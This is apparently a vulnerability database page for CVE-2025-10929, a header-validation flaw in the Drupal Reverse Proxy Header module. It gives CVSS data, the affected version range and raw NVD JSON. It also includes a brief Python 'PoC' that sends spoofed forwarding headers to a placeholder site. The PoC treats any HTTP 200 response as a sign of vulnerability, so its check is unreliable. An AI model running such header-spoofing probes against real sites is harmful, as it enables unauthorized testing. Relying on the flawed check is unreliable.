Security Vulnerability Report
中文
CVE-2025-10929 CVSS 5.3 MEDIUM

CVE-2025-10929

Published: 2025-10-30 00:15:34
Last Modified: 2025-12-12 17:51:53

Description

Improper Validation of Consistency within Input vulnerability in Drupal Reverse Proxy Header allows Manipulating User-Controlled Variables.This issue affects Reverse Proxy Header: from 0.0.0 before 1.1.2.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:reverse_proxy_header_project:reverse_proxy_header:*:*:*:*:*:drupal:*:* - VULNERABLE
Drupal Reverse Proxy Header模块 < 1.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-10929 PoC - Drupal Reverse Proxy Header Manipulation # Target: Drupal site with vulnerable Reverse Proxy Header module (< 1.1.2) target_url = "http://target-drupal-site.com" # Malicious headers to manipulate user-controlled variables malicious_headers = { 'X-Forwarded-For': '127.0.0.1', # Fake IP address 'X-Forwarded-Proto': 'https', # Manipulate protocol 'X-Forwarded-Host': 'malicious-site.com', # Fake host 'X-Real-IP': '10.0.0.1', 'Client-IP': '192.168.1.1' } try: response = requests.get(target_url, headers=malicious_headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response Headers: {response.headers}") # Check if the headers are reflected or processed without validation if 'X-Forwarded' in str(response.headers) or response.status_code == 200: print("[+] Potential vulnerability - headers accepted without validation") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10929", "sourceIdentifier": "[email protected]", "published": "2025-10-30T00:15:34.187", "lastModified": "2025-12-12T17:51:52.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Validation of Consistency within Input vulnerability in Drupal Reverse Proxy Header allows Manipulating User-Controlled Variables.This issue affects Reverse Proxy Header: from 0.0.0 before 1.1.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1288"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:reverse_proxy_header_project:reverse_proxy_header:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "1.1.2", "matchCriteriaId": "21179068-C492-45BC-B457-6ACF51F9369C"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2025-111", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}